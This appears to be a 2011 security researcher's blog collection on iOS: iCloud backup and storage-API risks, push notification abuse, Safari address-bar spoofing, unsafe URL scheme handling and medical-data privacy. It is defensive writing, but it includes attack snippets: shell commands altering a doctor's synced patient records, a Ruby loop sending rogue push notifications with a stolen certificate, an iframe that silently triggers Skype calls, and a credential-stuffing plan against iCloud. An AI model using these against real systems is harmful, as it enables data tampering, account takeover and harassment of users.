Nitesh Dhanjani

Apple’s iCloud: Thoughts on Security and the Storage APIs

[For easier reading you can download a PDF of this article].

At the 2011 World Wide Developer Conference in San Francisco, Steve Jobs revealed his vision for Apple’s iCloud: to demote the desktop as the central media hub and to seamlessly integrate the user’s experience across devices.

Apple’s iCloud service comprises of two distinct features. The first is to provide the user with the ability to backup and restore the device over the air without having to sync with an OSX or Windows computer. This mechanism is completely controlled by Apple and also provides free email and photo syncing capabilities. The second feature of iCloud allows 3rd party developers to leverage data storage capabilities within their own apps.

In this article, I will provide my initial thoughts on iCloud from a security perspective. The emphasis of this article is to discuss the iCloud storage APIs from a secure coding and implementation angle, but I will start by addressing some thoughts on the backup and restore components.

Business Implications of Device Backup and Restore Functionality

Starting with iOS5, iPhone and iPad users do not have to sync their devices with a computer. Using a wireless connection, they can activate their devices as well as backup and restore their data by setting up an iCloud account.

Following are some thoughts on risks and opportunities that may arise for businesses as their employees begin to use iOS devices that are iCloud enabled.

High potential for mass data compromise using automated tools.

An iOS device that is iCloud enabled continuously syncs data to Apple’s data-centers (and to cloud services Apple has in turn leased from Amazon (EC2) and Microsoft (Azure)). The device also performs a backup about once a day when the device is plugged into a power outlet and when WiFi is available (this can also be manually initiated by the user).

It is easy to intercept the traffic between an iOS device and the iCloud infrastructure using an HTTP proxy tool such as Burp. Interestingly, the backupd process  also backs up data to the Amazon infrastructure:

PUT /[snip]?x-client-request-id=[snip]&Expires=1322186125&AWSAccessKeyId=[snip]&Signature= [snip] HTTP/1.1

Host: us-nca-00001.s3-external-1.amazonaws.com:443

User-Agent: backupd (unknown version) CFNetwork/548.0.4 Darwin/11.0.0

x-amz-date: Fri, 25 Nov 2011 01:00:25 GMT

Content-Type: application/octet-stream

x-apple-request-uuid: [snip]

Connection: close

Proxy-Connection: close

Content-Length: 3574527

...

...

In this case, the device had previously authenticated to Apple domains (*.icloud.com and *.apple.com). Most likely, those servers initiated a back-end session with Amazon tied to the user’s session based on the filename provided to the PUT request above.

The biggest point here from a security perspective is that all the information is protected by the user’s iCloud credentials that is present in the Authorization: X-MobileMe-AuthToken header using basic access authentication (base 64).

iCloud backs-up emails, calendars, SMS and iMessages, browser history, notes, application data, phone logs, etc. This information can be a gold-mine for adversaries. It is my hypothesis that in the near future, we are going to see automated tools that will do the following:

1. Continuously scrape compromised usernames and password of other services from sources such as http://twitter.com/PastebinLeaks.
2. Attempt credentials of each compromised account (whose username is in the form of an email as required by iCloud) on iCloud.
3. For every successful credential, download the restore files thereby completely compromising the user’s information.

The risk to organizations and government institutions is enormous. A malicious entity can automatically download majority of data associated with an individual’s iPhone or iPad of that user’s account simply by gaining access to their iCloud password (which could have been compromised due to password reuse at another service).

Information security teams must integrate baselines and policies relating to iCloud.

It is possible to turn off iCloud Backups (allowCloudBackup)and document synchronization (allowCloudDocumentSync) by deploying specific configuration profiles. More information is available here: http://developer.apple.com/library/ios/#featuredarticles/iPhoneConfigurationProfileRef/Introduction/Introduction.html

Also, Mobile Device Management (MDM) vendors are likely to integrate iCloud related policy settings and this should be leveraged.

3rd party apps as well as iOS apps developed in-house should be assessed for security vulnerabilities and the iCloud API related principles listed in the next section.

iCloud Storage APIs

A significant aspect of the iCloud platform is the availability of the iCloud storage APIs [http://developer.apple.com/icloud/index.php] to developers. These APIs allow developers to write applications that leverage the iCloud to wirelessly push and synchronize data across user devices. 

iCloud requires iOS5 and Mac OSX Lion. These operating systems have been recently released and developers are busy modifying their applications to integrate the iCloud APIs. In the coming months, we are bound to see an impressive increase in the number of apps that leverage iCloud.

In this section, I will discuss my initial thoughts on how to securely enable iOS apps using the iCloud Storage APIs. I will step through how to write a simple iOS app that leverages iCloud Storage APIs. This app will create a simple document in the user’s iCloud container and auto update the document when it changes. During this walk-through, I will point out secure development tips and potential abuse cases to watch out for.

[I have relied on Ray Wenderlich’s fantastic Beginning iCloud in iOS 5 tutorial(s) located at for the walk-through below. The tutorial can be found here: http://www.raywenderlich.com/6015/beginning-icloud-in-ios-5-tutorial-part-1].

Creating an Configuring an App ID and Provisioning Profile for iCloud Services

This is the first step required to allow your test app to be able to use the iCloud services. The App ID is really a common name description of the app to use during the development process. 

Figure 1: Creating an App ID using the Developer provisioning portal.

The provisioning portal also requires you to pick a “Bundle Identifier” in reverse-domain style. This has to be a unique string. For example, an attempt to create an App ID with the Bundle Identifier of com.facebook.facebook is promptly rejected because it is most likely in use by the official Facebook app.

The next step is to enable your App ID for iCloud services. Click on “Configure”  in your App ID list under the “Action” column. Next, check “Enable for iCloud”

Figure 2: Enabling your App ID for iCloud

Select the “Provisioning” tab and click on “New Profile”. Pick the App ID you created earlier and select the devices you want to test the app on. Note that the simulator cannot access the iCloud API so you will need to deploy the app onto an actual device.

Once you have the App ID configured, you have to create a provisioning profile. A provisioning profile is a property-list (.plist) file signed by Apple. This file contains your developer certificate. Code that is complied with this developer certificate is allowed to execute on the devices selected in the profile.

Figure 3: Provisioning profile loaded in XCode

Download the profile and open it (double-click and XCode should pick it up as shown in Figure 3). 

Writing a Simple iCloud App in XCode

 In Xcode, create a new project. Choose “Single View Application” as the template. Enter “dox” for the product name and the company identifier you used when creating the App ID. The Device family should be “Universal”. The “Use Automatic Reference Counting” option should be checked and the other options should be unchecked.

Figure 4: Creating a sample iCloud project in XCode

Next, select your project in the “Project Navigator” and select the “dox” target. Click on “Summary” and go to the “Entitlements” section.

Figure 5: Project entitlements (iCloud)

The defaults should look like the screen-shot in Figure 5 and you don’t have to change anything.

Open up AppDelegate.m and add the following code at the bottom of application:didFinishLaunchingWithOptions (before the return YES;):

 

NSURL *ubiq = [[NSFileManager defaultManager] 

  URLForUbiquityContainerIdentifier:nil];

if (ubiq) {

    NSLog(@"iCloud access at %@", ubiq);

    // TODO: Load document... 

} else {

    NSLog(@"No iCloud access");

}

 

Figure 6: “Documents & Data” in iCloud settings turned off

Now assume that the test device has the “Documents & Data” preference in iCloud set to “off”. In this case, if you run the project now, you should see the log notice shown in Figure 7.

Figure 7: App unable to get an iCloud container instance 

If the “Documents & Data” settings were turned “On”, you should see the log notice similar to Figure 8.

Figure 8: iCloud directory on the local device

Notice that the URL returned is a ‘local’ (i.e. file://) container. This is because the iCloud daemon running on the iOS device (and on OSX) automatically synchronizes information users put into this directory between all of the user’s iCloud devices. If the user also has OSX Lion, they can find their iCloud files created on iOS appear in their ~/Library/Mobile Documents/ directory.

At this point, I’ll turn you over to Ray Wenderlich’s iCloud tutorials I referenced earlier. Go through Part 1 and Part 2 (you can stop at the end of “Setting Up the User Interface”). The tutorial is available here: http://www.raywenderlich.com/6015/beginning-icloud-in-ios-5-tutorial-part-1.

Video: Demonstration of sample iCloud App

Once you are done, you can deploy your app onto two separate iOS devices and watch the text sync using iCloud. The embedded video above demonstrates the app in action.

Security Considerations

The following are a list of security considerations that may be useful in managing risk pertaining to the iCloud storage APIs.

Guard the credentials to your Apple developer accounts. It is important for you to safeguard your Apple developer account credentials and make sure the credentials are complex enough to prevent potential brute forcing. Someone with access to your developer account could release an app with the same Bundle Seed ID (discussed below) that accesses the users’ iCloud containers and ferries the information to the attacker.

The Bundle Seed ID is used to constrain the local iCloud directory. As you can see in Figure 8, the local directory is in the form of [Bundle Seed/Team ID].[iCloud Container specific in entitlements]. The app can have multiple containers (i.e. multiple directories) if specified in the entitlements, but only in the form of [Bundle Seed ID].* as constrained in the provisioning profile:

...

<key>Entitlements</key>

    <dict>

        <key>application-identifier</key>

        <string>46Q6HN4L88.com.icloudtest.dox</string>

        <key>com.apple.developer.ubiquity-container-identifiers</key>

        <array>

            <string>46Q6HN4L88.*</string>

        </array>

        <key>com.apple.developer.ubiquity-kvstore-identifier</key>

            <string>46Q6HN4L88.*</string>

   </dict>

...

    <key>TeamIdentifier</key>

    <array>

        <string>46Q6HN4L88</string>

    </array>

 ...

Figure 9: Entitlements settings visible in XCode

If you try to change the values of com.apple.developer.ubiquity-container-identifiers or com.apple.developer.ubiquity-kvstore-identifier (in your entitlements settings visible in Xcode) to begin with anything other than what you have in your provisioning profile, XCode will complain as shown in Figure 10.

Figure 10: Xcode error about invalid entitlements

It is clear that Apple uses the Bundle Seed ID (Team ID) to constrain access to user data in iCloud between different organizations.As discussed earlier, if someone were to get Apple’s provisioning portal to issue a provisioning profile with someone else’s Team ID, they could write Apps that can (at least locally) have access to the user’s iCloud data since their local iCloud file:// mapping will coincide.

Do not store critical information in iCloud containers, including session data. iCloud data  is stored locally and synced to the iCloud infrastructure. Users often have multiple devices (iPhone, iPod Touch, iPad, Macbook, iMac) so their iCloud data will be automatically synced across devices. If a malicious entity were to temporarily gain access to the file-system (by having physical access or by implanting malware), he or she could gain access to the iCloud local containers (/private/var/mobile/Library/Mobile Documents/ in iOS and ~/Library/Mobile Documents/ in OSX). It is therefore a good idea not to store critical information such as session tokens, passwords, financial, and or healthcare data that is personally identifiable.

Do not trust data in your iCloud to commit critical transactions. As discussed in the prior paragraph, an attacker with temporary access to a user’s file system can access iCloud documents stored locally. Note that the attacker can also edit or add files into the iCloud containers and the changes will be synced across devices.

Figure 11: Sample medical app that leverages iCloud to store patient data

Assume a hospital were to deploy an iCloud enabled medical app to be used by doctors such as the screenshot in Figure 11. If an attacker were to gain access to the doctor’s Macbook Air running OSX for example, they could look at the local filesystem:

$ cd ~/Library/Mobile Documents/46Q6HN4L88~com~hospital~app/Documents

$ ls

Allergies.txt                  1.TIFF

$ cat /dev/null > Allergies.txt

$ cp ~/Downloads/1.TIFF 1.TIFF

Once the attacker has issued the commands above, the doctor’s iCloud container will be updated with the modified information across all devices. In this example, the attacker has altered a particular patient’s record to remove listed allergies and replace the X-Ray image. 

Figure 12: Updated medical record after intruder gains temporary access to Doctor’s Macbook Air

The doctor will see the updated record when the medical app is accessed after the attacker makes these changes on the doctor’s Macbook Air (Figure 12).

Store files in the Documents directory. Users can delete individual files in their iCloud accounts if they are stored in the ‘Documents’ directory:

NSURL *ubiquitousPackage = [[ubiq URLByAppendingPathComponent: @"Documents"] URLByAppendingPathComponent:kFILENAME];

Other files will be treated as data and can only be deleted all at once. Doing this can allow users to notify you if a bug in your application is causing too much data to be written into iCloud which can exhaust users' storage quotas and thus create a denial of service condition.

Take care to handle conflicts appropriately. Documents that are edited on multiple devices are likely to cause conflicts. Depending upon the logic of your application code, it is important to make sure you handle these conflicts so that the integrity of the user’s data is preserved.

Understand that Apple has the capability to see your users' iCloud data. Data from the local device to the iCloud infrastructure is encrypted during transmit. However, note that Apple has the capability to look at your users' data. There is low probability that Apple would choose to do this but depending upon your business, there may be regulatory and legal issues that may prohibit storage of certain data on the iCloud.

iOS sandboxing vulnerabilities may be exploited by rogue apps. Try putting in the string @”..\..\Documents” in URLByAppendingPathComponent or editing your container identifier in your entitlements to contain “..” or any other special characters. You will note that iOS will either trap your attempt at runtime or replace special characters that can cause an app to break out of the local iCloud directory. If someone were to find a vulnerability in iOS sandboxing or file parsing mechanisms, it is possible they can leverage this to build a rogue app that is able to access another app’s iCloud data.

These security principles also apply to key-value data storage. The iCloud Storage APIs also allow the storage of key-value data in addition to documents. The security tips outlined in this article also apply to key-value storage APIs.

Watch out for iCloud backups. As presented in the earlier section, the user can choose to backup his or her phone data into the iCloud. This includes the Documents/ portion within the app sand-box (Note: This is not the Documents folder created as part of the iCloud container, but is present as part the application bundle). If there is critical information you do not wish to preserve move it to Library/Caches. You may also wish to leverage the addSkipBackupAttributeToItemAtURL method to identify specific directories that should not be backed up.

 

I hope this article contained information to help you and your organization think through security issues and principles surrounding iCloud. The ultimate goal is to enable technology, but in a way that is cognizant of the associated risks. Feel free to get in touch if you have any comments, questions, or suggestions.

New Whitepaper (BlackHat Barcelona 2011): Application Attacks Against Apple’s iOS

On March 17, 2011, I presented New Age Application Attacks Against Apple's iOS at BlackHat Barcelona.

The whitepaper associated with my talk is now available. You can download it from this URL: https://media.blackhat.com/bh-eu-11/Nitesh_Dhanjani/BlackHat_EU_2011_Dhanjani_Attacks_Against_Apples_iOS-WP.pdf

This whitepaper brings together emerging research to illustrate the net-new attack vectors targeting iOS applications. The intended audience for the rest of this paper include technical security analysts and iOS application developers. The following topics are discussed in detail:

- Protocol handling attacks and secure design.
- User Interface (UI) attacks and best practices.
- Abusing and securely design Apple Push Notifications.
- Man in the Middle attacks, Privacy Leaks, Identity Decloaking, and Countermeasures.

In addition to these topics, the Appendix in the whitepaper contains a checklist of items to consider when assessing iOS applications. This list includes traditional application security weaknesses that also apply to iOS. Additional items to consider, such as data protection and file encryption applicable to iOS devices, are also presented in the Appendix.

I trust many may find the information in the paper valuable and actionable. If you have any questions or feedback, please feel free to contact me.

Apple iOS Push Notifications: Security Implications, Abuse Scenarios, and Countermeasures

Millions of iOS users and developers have come to rely on Apple’s Push Notification Service (APN). In this article, I will briefly introduce details of how APN works and present scenarios of how insecure implementations can be abused by malicious parties.

Apple’s iOS allows some tasks to truly execute in the background when a user switches to another app (or goes back to the home screen), yet most apps will return and resume from a frozen state right where they left off. Apple’s implementation helps preserve battery life by providing the user the illusion that iOS allows for full-fledged multi-tasking between 3rd party apps.

This setup makes it hard for apps to implement features that rely on full-fledged multi-tasking. For example, an Instant Messaging app will want to alert the user of a new incoming message even if the user is using another app. To enable this functionality, the APN service can be used by app vendors to push notifications to the user’s device even when the app is in a frozen state (i.e. the user is using another app or is on the home screen).

Figure 1: Badge and alert notification in iOS

There are 3 types of push notifications in iOS: alerts, badges, and sounds. Figure 1 shows a screen-shot illustrating both an alert and a badge notification.

iOS devices maintain a persistent connection to the APN servers. Providers, i.e. 3rd party app vendors, must connect to the APN to route the notification to a target device.

So how can an app developer implement push notifications? For explicit details, I’d recommend going through Apple’s excellent Local and Push Notifications Programming Guide. However, I will briefly cover the steps below with emphasis on steps that have interesting security implications and tie them to abuse cases and recommendations.

1. Create an App ID on Apple’s iOS Provisioning Portal. This step requires you sign up for a developer account ($99). This is straight-forward: just click on App IDs in the provisioning portal and then select New App ID. Next, enter text in the Description field that describes your app. The Bundle Seed ID is used to signify if you want multiple apps to share the same Keychain store.

The Bundle Identifier is where it gets interesting: you need to enter a unique identifier for your App ID. Apple recommends using a reverse-domain name style string for this.

Figure 2: iOS provisioning portal rejects “com.facebook.facebook” Bundle Identifier

The Bundle Identifier is significant from a security perspective because it makes its way into the provider certificate we will create later (also referred to as the topic). The APN trusts this field in the certificate to figure out which app in the target user’s device to convey the push message to. As Figure 2 illustrates, an attempt to create an App ID with the Bundle Identifier of com.facebook.facebook is promptly refused as a duplicate, i.e. the popular Facebook iOS app is probably using this in it’s certificate. Therefore, if a malicious entity were to bypass the provisioning portal’s restrictions against allowing an existing Bundle Identifier, then he or she could possibly influence Apple to provision a certificate that can be abused to send push notifications to users of another app (but the malicious user would still need to know the target user's device-token discussed later in this article).

2. Create a Certificate Signing Request (CSR) to have Apple generate an APN certificate. In this step, Keychain on the desktop is used to generate a public and private cryptographic key pair. The private key stays on the desktop. The public key is included in the CSR and uploaded to Apple. The APN certificate that Apple provides back is specific to the app and tied to a specific App ID generated in step 1.

3. Create a Provisioning Profile to deploy your App into a test iOS device with push notifications enabled for the App ID you selected. This step is pretty straight forward and described in Apple’s documentation linked above.

4. Export the APN certificate to the server side. As described in Apple’s documentation, you can choose to export the certificate to .pem format. This certificate can then be used on the server side of your app infrastructure to connect to the APN and send push notifications to targeted devices.

5. Code iOS application to register for and respond to notifications. Your iOS app must register with the device (which in turns registers with the APN) to receive notifications. The best place to do this is in applicationDidFinishLaunching:, for example:

[[UIApplication sharedApplication]registerForRemoteNotificationTypes:(UIRemoteNotificationTypeBadge | UIRemoteNotificationTypeSound)];

The code above will make the device initiate a registration process with the APN. If this succeeds, the didRegisterForRemoteNotificationsWithDeviceToken: application delegate is invoked:

 

- (void)application:(UIApplication *)app didRegisterForRemoteNotificationsWithDeviceToken:(NSData *)devToken {
    const void *devTokenBytes = [devToken bytes];
    self.registered = YES;
    [self sendProviderDeviceToken:devTokenBytes]; // custom method
}

 

Notice that the delegate is passed the deviceToken. This token is NOT the same as the UDID which is an identifier specific to the hardware.The deviceToken is specific to the instance of the iOS installation, i.e. it will migrate to a new device if the user were to restore a backup in iTunes onto a new device. The interesting thing to note here is that the deviceToken is static across apps on the specific iOS instance, i.e. the same deviceToken will be returned to other apps that register to send push notifications.

The sendProviderDeviceToken: method sends the deviceToken to the provider (i.e. your server side implementation) so the provider can use it to tell the APN which device to send the targeted push notification to.

In the case where your application is not running and the iOS device receives a remote push notification from the APN destined for your app, the didFinishLaunchingWithOptions: delegate is invoked and the message payload is passed. In this case, you would handle and process the notification in this method. If your app is already in the running, then the didReceiveRemoteNotification: method is called (you can check the applicationState property to figure out if the application is active or in the background and handle the event accordingly).

6. Implement provider communication with the APN. With the provider keys obtained in step 4, you can implement server side code to send a push notification to your users.

Figure 3: (enhanced) Notification format for push notification payloads

As illustrated in Figure 3, you will need the deviceToken of the specific user you want to send the notification to (this is the token you would have captured from the device invoking your implementation of the sendProviderDeviceToken method described in Step 4). The Identifier is an arbitrary value that identifies the notification (you can use this to correlate an error-response. Please see Apple’s documentation for details). The actual payload is in JSON format.

Now that we have established details on implementing push-notifications into custom apps, lets discuss applicable security best practices along with abuse cases.

1. Do not send company confidential data or intellectual property in the message payload. Even though end points in the APN architecture are TLS encrypted, Apple is able to see your data in clear-text. There may be legal ramifications of disclosing certain types of information to third-parties such as Apple. And I bet Apple would appreciate it too (they wouldn’t want the liability).

2. Push delivery is not guaranteed so don’t depend on it for critical notifications. Apple clearly states that the APN service is best-effort delivery.

Figure 4: Do not rely on push for critical notifications

As shown in Figure 4, the push architecture should not be relied upon for critical notifications. In addition, iPhones that are not connected to cellular data (or when the phone has low to no signal) MAY not receive push notifications when the display is off for a specific period since wifi is often automatically turned off to preserve battery.

3. Do not allow the push notification handler to modify user data. The application should not delete data as a result of the application launching in response to a new notification. An example of why this is important is the situation where a push notification arrives while the device is locked: the application is immediately invoked to handle the pushed payload as soon as the user unlocks the device. In this case, the user of your app may not have intended to perform any transaction that results in the modification of his or her data.

4. Validate outgoing connections to the APN. The root Certificate Authority for Apple’s certificate is Entrust. Make sure you have Entrust’s root CA certificate so you are able to verify your outgoing connections (i.e. from your server side architecture) are to the legitimate APN servers and not a rogue entity.

5. Be careful with unmanaged code. Be careful with memory management and perform strict bounds checking if you are constructing the provider payload outbound to the APN using memory handling API in unmanaged programming languages (example: memcpy).

6. Do not store your SSL certificate and list of deviceTokens in your web-root. I have come across instances where organizations have inadvertently exposed their Apple signed APN certificate, associated private key, and deviceTokens in their web-root.

Figure 5: Screen-shot of APN certificates and deviceTokens being exposed

The illustration in Figure 5 is a real screen-shot of an iOS application vendor inadvertently exposing their APN certificates as well as a PHP script which lists all deviceTokens of their customers.

Figure 6: Scenario depicting rogue push notifications targeting the Facebook and CNN apps once their provider certificates have been compromised

In this abuse case, any malicious entity who is able to get at the certificates and list of deviceTokens will be able to send arbitrary push notifications to this iOS application vendor’s customers (see Figure 6). For example, the jpoz-apns Ruby gem can be used to send out concurrent rogue notifications:

 

APNS.host = 'gateway.push.apple.com'

APNS.pem  = '/path/to/pwn3d/pem/file'

APNS.pass = ''

APNS.port = 2195

stolen_dtokens.each do |dtoken|

    APNS.send_notification(dtoken,‘pwn3d’)
       
end

I would also highly recommend protecting your cert with a passphrase (it is assumed to be null in the above example). And it goes without saying that you should also keep any sample server side code that has the passphrase embedded in it out of your web-root. In fact, there is no good reason why any of this information should even reside on a host that is accessible from the Internet (incoming) since the provider connections to the APN need to be outbound only.

 

I feel Apple has done a good job of thinking through security controls to apply in the APN architecture. I hope the suggestions in this article help you to think through how to make sure the APN implementation in your app and architecture is secure from potential abuses.

 

UI Spoofing Safari on the iPhone

[Note: This article also appears as a guest post on the SANS Application Security blog]

Popular web browsers today do not allow arbitrary websites to modify the text displayed in the address bar or to hide the address bar (some browsers may allow popups to hide the address bar but in such cases the URL is then displayed in the title of the window). The reasoning behind this behavior is quite simple: if browsers can be influenced by arbitrary web applications to hide the URL or to modify how it is displayed, then malicious web applications can spoof User Interface elements to display arbitrary URLs thus tricking the user to thinking he or she is browsing a trusted site.

I’d like to call your attention to the behavior of Safari on the iPhone via a proof of concept demo. If you have an iPhone, browse to the following demo and keep an eye out on the address bar:

http://www.dhanjani.com/iphone-safari-ui-spoofing/

For those who do not have an iPhone available, here is a video:

 

And here are two images detailing the issue.

Figure: Image on left illustrates the page rendered which displays the ‘fake’ URL bar while the real URL bar is hidden above. Image on right illustrates the real URL bar that is visible once the user scrolls up.

Notice that the address bar stays visible while the page renders, but immediately disappears as soon as it is rendered. Perhaps this may give the user some time to notice but it is not a reasonably reliable control (and I don’t think Apple intended it to be).

I did contact Apple about this issue and they let me know they are aware of the implications but do not know when and how they will address the issue.

I have two main thoughts on this behavior, outlined below:

1. Precious screen real estate on mobile devices. This is most likely the primary reason why the address bar disappears upon page load on the iPhone. Note that on the iPhone, this only happens for websites that follow directives in HTML to advertise themselves as mobile sites (see the source of the index.html in the demo site above for example).

Since the address bar in Safari occupies considerable real estate, perhaps Apple may consider displaying or scrolling the current domain name right below the universal status bar (i.e. below the carrier and time stamp). Positioning the current domain context in a location that is unalterable by the rendered web content can provide the users similar indication that browsers such as IE and Chrome provide by highlighting the current domain being rendered.

2. The consequences of full screen apps in iOS using UIWebView. Desktop operating systems most often launch the default web browser of choice when a http or https handler is invoked (this is most often the case even though the operating systems provide interface elements that can be used to render web content within the applications). 

However, in the case of iOS, since most applications are full-screen, it is in the interest of the application designers to keep the users immersed within their application instead of yanking the user out into Safari to render web content. Given this situation, it becomes vital for iOS to provide consistency so the user can be ultimately assured what domain the web content is being rendered from.

To render web content within applications, all developers have to do is invoke the UIWebView class. It is as simple as invoking a line of code such as [webView loadRequest:requestObj]; where requestObj contains the URL to render.

Figure: Twitter App rendering web content on the iPad.

The screenshot above illustrates web-content rendered by the fantastic Twitter app on the iPad. To create this screen-shot, I launched the Twitter app on the iPad and selected a tweet from @appleinsider and clicked on the URL http://dlvr.it/9D81j in the tweet. Notice that the URL of the  actual page being rendered is no where to be seen.

In such cases, it is clear that developers of iOS applications need to make sure they clearly display the ultimate domain from which they are rending web content. A welcome addition to this would be default behavior on part of UIWebView to display the current domain context in a designated and consistent location.

 

Given how rampant phishing and malware attempts are these days, I hope Apple chooses to not allow arbitrary web applications to scroll the real Safari address bar out of view. In the case of applications that utilize UIWebView, I recommend a designated screen location label only accessible by iOS  that displays the domain from where the web content is being rendered when serving requests via calls to UIWebView. That said, I do realize how precious real estate is on mobile devices and if Apple choses to come up with a better way of addressing this issue, I'd welcome that as well.

Insecure Handling of URL Schemes in Apple’s iOS

[Note: This article also appears as a guest post on the SANS Application Security blog] 

In this article, I will discuss the security concerns I have regarding of how URL Schemes are registered and invoked in iOS.

URL Schemes, as Apple refers to them, are URL Protocol Handlers that can be invoked by the Safari browser. They can also be used by applications to launch other applications to perform certain transactions, but this use case isn’t relevant to the scope of this discussion.

In the URL Scheme Reference document, Apple lists the default URL Schemes that are registered within iOS. For example, the tel: scheme can be used to launch the Phone application. Now, imagine if a website were to contain the following HTML rendered to someone browsing using Safari on iOS:

<iframe src=”tel:1-408-555-5555”></iframe>

In this situation, Safari displays an authorization dialog:

Figure 1: Dialog box in Safari requesting for user authorization to launch the Phone application

Fantastic. A malicious website should not be able to initiate a phone call without the user’s explicit permission. This is the right behavior from a security perspective.

Now, let us assume the user has Skype.app installed. Let us also assume that the user has launched Skype in the past and that application has cached the user’s credentials (this is most often the case: users on mobile devices don’t want to repeatedly enter their credentials so this is not an unfair assumption). Now, what do you think happens when a malicious site renders the following HTML?

<iframe src=”skype://14085555555?call"></iframe>

In this case, Safari throws no warning, and yanks the user into Skype which immediately initiates the call. The security implications of this is obvious, including the additional abuse case where a malicious site can make Skype.app call a Skype-id who can then uncloak the victim’s identity (by analyzing the victim’s Skype-id from the incoming call).

Figure 2: Skype automatically initiating a call on iOS after being invoked by a malicious website

I contacted Apple’s security team to discuss this behavior, and their stance is that the onus is on the third-party applications (such as Skype in this case) to ask the user for authorization before performing the transaction. I also contacted Skype about this issue, but I have not heard back from them.

I do agree with Apple that third-party applications should also take part in ensuring authorization from the user, yet their stance leaves the following concerns unaddressed. 

Third party applications can only ask for authorization after the user has already been yanked out of Safari. A rogue website, or a website whose client code may have been compromised by a persistent XSS, can yank the user out of the Safari browser. Since applications on iOS run in full-screen mode, this can be an annoying and jarring experience for the user.

Third party applications can only ask the user for authorization after they have been fully launched. To register a URL Scheme, application developers need to alter their Info.plist file. For example, here is a section from Skype’s Info.plist: 

<key>CFBundleURLTypes</key>

        <array>

                <dict>

                        <key>CFBundleURLName</key>

                        <string>com.skype.skype</string>

                        <key>CFBundleURLSchemes</key>

                        <array>

                                <string>skype</string>

                        </array>

                </dict>

        </array> 

[Note: If you have a jailbroken iOS device and would like to obtain the list of URL Schemes for applications you have downloaded from the App Store, just copy over the Info.plist files for the applications onto your Mac and run the plutil tool to convert them to XML: plutil -convert xml1 Info.plist]

Next, the application needs to implement handling of the message in it’s delegate. For example:

(BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url

{

//Ask for authorization

 

//Perform transaction

}

Unlike the case of the tel: handler which enjoys the special privilege of requesting the user for authorization before yanking the user away from his or her browsing session in Safari, third party applications can only request authorization after they have been fully launched.

A solution to this issue is for Apple to allow third party applications an option register their URL schemes with strings for Safari to prompt and authorize prior to launching the external application. 

Should Apple audit the security implications of registered URL schemes as part of its App Store approval process? Apple’s tel: handler causes Safari to ask the user for authorization before placing phone calls. The most logical explanation for this behavior is that Apple is concerned about their customers’ security and doesn’t want rogue websites from being able to place arbitrary phone calls using the customer’s device. 

However, since the Skype application allows for such an abuse case to succeed, and given that Apple goes to great lengths to curate applications before allowing them to be listed in the App Store, should Apple begin to audit applications for security implications of exposed URL Schemes? After all, Apple is known to reject applications that pose a security or privacy risk to their users, so why not demand secure handling of transactions invoked by URL Schemes as well?

Skype is just one example. Besides Skype, there are many additional third party applications that register URL Schemes that can be invoked remotely by Safari. See the following websites for a comprehensive list http://wiki.akosma.com/IPhone_URL_Schemes and http://handleopenurl.com/scheme.

List of registered URL Schemes not available to the user. You can enumerate all the Info.plist files in your iPhone to ascertain the list of URL schemes your iPhone or iPad may respond to assuming you have jailbroken your iPhone. However, it may make sense for this list to be available in the Settings section of iOS so users can look at it to understand what schemes their device responds that can be invoked by arbitrary websites. Perhaps this will mostly appeal to the advanced users yet I feel it will help keep the application designers disciplined the same way the user location notification in iOS does. This will also make it easier for enterprises to figure out what third party applications to provision on their employee devices based on any badly designed URL schemes that may place company data at risk.

Note that in order to create a registry of exposed URL schemes, Apple cannot simply parse information from Info.plist because it only contains the initial protocol string. In other words, the skype: handler responds to skype://[phone_or_id]?call and skype://[phone_or_id]?chat but only the skype: protocol is listed Info.plist while the actual parsing of the URL is performed in code. Therefore, in order to implement this proposed registry system, Apple will have to require developers to disclose all patterns within a file such as Info.plist.

 

I feel the risk posed by how URL Schemes are handled in iOS is significant because it allows external sources to launch applications without user interaction and perform registered transactions. Third party developers, including developers who create custom applications for enterprise use, need to realize their URL handlers can be invoked by a user landing upon a malicious website and not assume that the user authorized it. Apple also needs to step up and allow the registration of URL Schemes that can instruct Safari to throw an authorization request prior to yanking the user away into the application.

Given the prevalence and ever growing popularity of iOS devices, we have come to depend on Apple’s platform with our personal, financial, and health-care data. As such, we need to make sure both the platforms and the custom applications iOS devices are designed securely. I hope this writeup helped increase awareness of the need to implement URL Schemes securely and what Apple can do to assist in making this happen.

Healthcare Data: The Upcoming Privacy Conflict

Healthcare organizations spend hundreds of millions of dollars every year struggling to secure and protect patient records. Patients have traditionally demanded that their information be secured and inaccessible by the public. Regulations require due diligence to ensure that patient records are protected. In addition to this, healthcare organizations may also consider medical data as their intellectual property that can lead to further business intelligence.

 

But what happens when patients volunteer their private medical records into the public domain? In this article, I’d like to present my thoughts on this topic.

Consider the PatientsLikeMe website, which is a social networking platform for individuals to publicly share their medical data, including fine details of their diagnosis, physical conditions, locations, medications, mood, and other information. The benefits of PatientsLikeMe is clear: it is a wonderful platform for individuals and medical researchers to find useful statistical information about diseases, and for patients to connect with and share experiences with others who may be suffering similar conditions.

From a security and privacy lens, here are some of my observations:

False sense of anonymity. The PatientsLikeMe website does a fantastic job of declaring its openness policy by warning users that information shared on the platform can be collected and cached by search engines.

I spent some time studying profiles of individuals affected with conditions that, unfortunately, have a social stigma attached to them. A lot of these individuals chose to use a nick-name, or handle, instead of their real name in their profile. However, by using mere link and network analysis techniques (as presented in my Psychotronica series of talks), I was quickly able to uncloak the real identities of many of these individuals.

The issue here is that, despite the awareness efforts of PatientsLikeMe, many individuals using the service have a false sense of privacy: they may feel they are truly anonymous, yet their identities can be easily uncloaked.

Stunning intelligence potential for the adversary. It is clear that information collected from patient records can be useful to an adversary. However, a sophisticated adversary is likely to correlate the information found in the patent record online with additional sources of social data (Facebook profiles, Twitter messages, blogs, etc). This combined dashboard of intelligence, collected from piecing together additional sources of publicly available information, puts the adversary at a significant advantage. Not only can an external entity ascertain pure medical data, but also make judgment-calls on the lifestyle of the particular individual that may have led to his or her condition. In addition, the potential abuse for social engineering and manipulation tactics is also clear.

Business conflict. Many healthcare organizations are struggling to enforce security controls on traditional issues such as internal access management of medical data. Hundreds of millions of dollars are being spent by private healthcare organizations to promote internal security efforts. In the near future, as additional individuals share their medical information on social media platforms, the value of return from access controls to secure patient data will reduce. I realize the regulatory complications and influences here – it will be interesting to see how this plays out.

 

In summary, the medical benefits of services like PatientsLikeMe is clear. However, I do wish that individuals who utilize these services are more cognizant of the privacy and security implications. I also wish that healthcare organizations quickly rethink their stance on the security and privacy implications of social media (which seems to be limited in scope to monitoring their own employees) to better align the reality of the upcoming social age with their business.

